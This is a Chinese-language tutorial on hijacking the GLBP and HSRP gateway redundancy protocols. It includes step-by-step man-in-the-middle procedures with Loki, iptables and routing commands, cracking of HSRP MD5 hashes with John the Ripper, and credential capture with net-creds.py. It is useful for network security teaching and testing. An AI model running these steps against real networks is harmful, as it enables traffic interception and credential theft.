FHRP 劫持概述
一、对 FHRP 的见解
FHRP 旨在通过将多台路由器合并为单个虚拟单元来提供网络稳健性,从而增强负载分配和容错能力。思科系统公司在该套件中引入了 GLBP 和 HSRP 等著名协议。
二、GLBP 协议见解
Cisco 的发明 GLBP 在 TCP/IP 堆栈上运行,利用端口 3222 上的 UDP 进行通信。GLBP 组中的路由器每隔 3 秒交换一次“hello”数据包。如果路由器 10 秒内未发送这些数据包,则假定它处于离线状态。但是,这些计时器不是固定的,可以修改。
三、GLBP 操作和负载分配
GLBP 的突出之处在于,它使用单个虚拟 IP 和多个虚拟 MAC 地址在路由器之间实现负载分配。在 GLBP 组中,每个路由器都参与数据包转发。与 HSRP/VRRP 不同,GLBP 通过以下几种机制提供真正的负载平衡:
- 主机相关负载平衡:保持对主机的一致 AVF MAC 地址分配,这对于稳定的 NAT 配置至关重要。
- 循环负载平衡:默认方法,在请求主机之间交替分配 AVF MAC 地址。
- 加权循环负载平衡:根据预定义的“权重”指标分配负载。
四、GLBP 中的关键组件和术语
- AVG(Active Virtual Gateway):主路由器,负责给对等路由器分配MAC地址。
- AVF(主动虚拟转发器):指定用于管理网络流量的路由器。
- GLBP 优先级:确定 AVG 的指标,从默认值 100 开始,范围在 1 到 255 之间。
- GLBP 权重:反映路由器上的当前负载,可手动或通过对象跟踪进行调整。-
- GLBP 虚拟 IP 地址:作为所有连接设备的网络默认网关。
对于交互,GLBP 采用保留的多播地址 224.0.0.102 和 UDP 端口 3222。路由器以 3 秒的间隔传输“hello”数据包,如果在 10 秒内丢失数据包,则被视为无法运行。
五、GLBP攻击机制
攻击者可以通过发送具有最高优先级值 (255) 的 GLBP 数据包成为主路由器。这可能导致 DoS 或 MITM 攻击,从而允许流量拦截或重定向。
六、使用 Loki 执行 GLBP 攻击
Loki可以通过注入优先级和权重设置为 255 的数据包来执行 GLBP 攻击。攻击前的步骤包括使用 Wireshark 等工具收集虚拟 IP 地址、身份验证存在和路由器优先级值等信息。
攻击步骤:
- 切换到混杂模式并启用 IP 转发。
- 识别目标路由器并检索其 IP。
- 生成免费 ARP。
- 注入恶意 GLBP 数据包,冒充 AVG。
- 为攻击者的网络接口分配一个辅助 IP 地址,镜像 GLBP 虚拟 IP。
- 实施 SNAT 以实现完整的流量可见性。
- 调整路由,确保通过原有的 AVG 路由器继续访问互联网。
通过遵循这些步骤,攻击者将自己定位为“中间人”,能够拦截和分析网络流量,包括未加密或敏感数据。
以下是演示的命令片段:
# Enable promiscuous mode and IP forwarding
sudo ip link set eth0 promisc on
sudo sysctl -w net.ipv4.ip_forward=1
# Configure secondary IP and SNAT
sudo ifconfig eth0:1 10.10.100.254 netmask 255.255.255.0
sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
# Adjust routing
sudo route del default
sudo route add -net 0.0.0.0 netmask 0.0.0.0 gw 10.10.100.100
可以使用 net-creds.py 或类似工具来监控和拦截流量,以捕获和分析流经受感染网络的数据。
七、HSRP 劫持的被动解释及命令详情
1、HSRP(热备用路由器/冗余协议)概述
HSRP 是思科专有的协议,专为网络网关冗余而设计。它允许将多个物理路由器配置为具有共享 IP 地址的单个逻辑单元。此逻辑单元由负责引导流量的主路由器管理。与使用优先级和权重等指标进行负载平衡的 GLBP 不同,HSRP 依靠单个活动路由器进行流量管理。
2、HSRP 中的角色和术语
- HSRP 活动路由器:充当网关的设备,管理流量。
- HSRP 备用路由器:备份路由器,如果活动路由器发生故障,可以接管。
- HSRP 组:一组路由器协作形成一个单一的弹性虚拟路由器。
- HSRP MAC 地址:在 HSRP 设置中分配给逻辑路由器的虚拟 MAC 地址。
- HSRP 虚拟 IP 地址:HSRP 组的虚拟 IP 地址,作为连接设备的默认网关。
3、HSRP 版本
HSRP 有两个版本,HSRPv1 和 HSRPv2,主要区别在于组容量、多播 IP 使用和虚拟 MAC 地址结构。该协议利用特定的多播 IP 地址进行服务信息交换,每 3 秒发送一次 Hello 数据包。如果在 10 秒间隔内未收到任何数据包,则假定路由器处于非活动状态。
4、HSRP 攻击机制
HSRP 攻击涉及通过注入最大优先级值来强行接管活动路由器的角色。这可能导致中间人 (MITM) 攻击。必要的攻击前步骤包括收集有关 HSRP 设置的数据,这可以使用 Wireshark 进行流量分析。
5、绕过 HSRP 身份验证的步骤
1、将包含 HSRP 数据的网络流量保存为 .pcap 文件。
tcpdump -w hsrp_traffic.pcap
2、使用 hsrp2john.py 从 .pcap 文件中提取 MD5 哈希。
python2 hsrp2john.py hsrp_traffic.pcap > hsrp_hashes
3、使用 John the Ripper 破解 MD5 哈希值。
john --wordlist=mywordlist.txt hsrp_hashes
6、使用 Loki 执行 HSRP 注入
1、启动 Loki 来识别 HSRP 广播。
2、将网络接口设置为混杂模式并启用IP转发。
sudo ip link set eth0 promisc on
sudo sysctl -w net.ipv4.ip_forward=1
3、使用 Loki 瞄准特定路由器,输入破解的 HSRP 密码,并执行必要的配置以模拟活动路由器。
4、获得活动路由器角色后,配置网络接口和 IP 表以拦截合法流量。
sudo ifconfig eth0:1 10.10.100.254 netmask 255.255.255.0
sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
5、修改路由表以通过前一个活动路由器路由流量。
sudo route del default
sudo route add -net 0.0.0.0 netmask 0.0.0.0 gw 10.10.100.100
6、使用 net-creds.py 或类似的实用程序从拦截的流量中捕获凭据。
sudo python2 net-creds.py -i eth0
执行这些步骤将使攻击者能够拦截和操纵流量,类似于 GLBP 劫持的过程。这凸显了 HSRP 等冗余协议的漏洞以及采取强大安全措施的必要性。
文章参考地址。